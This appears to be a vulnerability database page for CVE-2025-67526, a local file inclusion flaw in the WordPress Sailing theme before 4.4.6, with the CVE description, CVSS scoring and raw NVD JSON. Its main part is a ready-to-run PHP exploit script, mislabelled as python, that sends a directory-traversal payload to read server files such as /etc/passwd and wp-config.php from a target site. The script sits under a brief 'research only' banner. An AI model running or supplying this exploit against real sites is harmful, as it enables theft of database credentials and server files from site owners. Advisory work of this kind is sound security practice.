Security Vulnerability Report
中文
CVE-2025-67526 CVSS 7.5 HIGH

CVE-2025-67526

Published: 2025-12-09 16:18:27
Last Modified: 2026-04-27 18:16:41

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThimPress Sailing sailing allows PHP Local File Inclusion.This issue affects Sailing: from n/a through < 4.4.6.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Sailing < 4.4.6
Sailing n/a through 4.4.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-67526 PoC - Sailing Theme Local File Inclusion * Target: WordPress Sailing Theme < 4.4.6 * Author: Security Researcher * * Usage: php poc.php <target_url> <file_to_read> * Example: php poc.php http://target.com /etc/passwd * php poc.php http://target.com wp-config.php */ error_reporting(0); function exploitLFI($target, $file) { $payload = str_repeat('../', 10) . ltrim($file, '/'); $params = [ 'file' => $payload, 'action' => 'thim_sailing_load_template' ]; $url = $target . '/?' . http_build_query($params); $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return ['code' => $httpCode, 'response' => $response]; } if ($argc < 3) { echo "Usage: php {$argv[0]} <target_url> <file_to_read>\n"; echo "Example: php {$argv[0]} http://example.com /etc/passwd\n"; exit(1); } $target = rtrim($argv[1], '/'); $file = $argv[2]; echo "[*] Exploiting CVE-2025-67526\n"; echo "[*] Target: {$target}\n"; echo "[*] File: {$file}\n"; $result = exploitLFI($target, $file); echo "[*] HTTP Status: {$result['code']}\n"; if (!empty($result['response'])) { echo "[+] Response:\n"; echo $result['response']; } else { echo "[-] No response or file not readable\n"; } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67526", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:27.130", "lastModified": "2026-04-27T18:16:41.310", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThimPress Sailing sailing allows PHP Local File Inclusion.This issue affects Sailing: from n/a through < 4.4.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/sailing/vulnerability/wordpress-sailing-theme-4-4-6-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}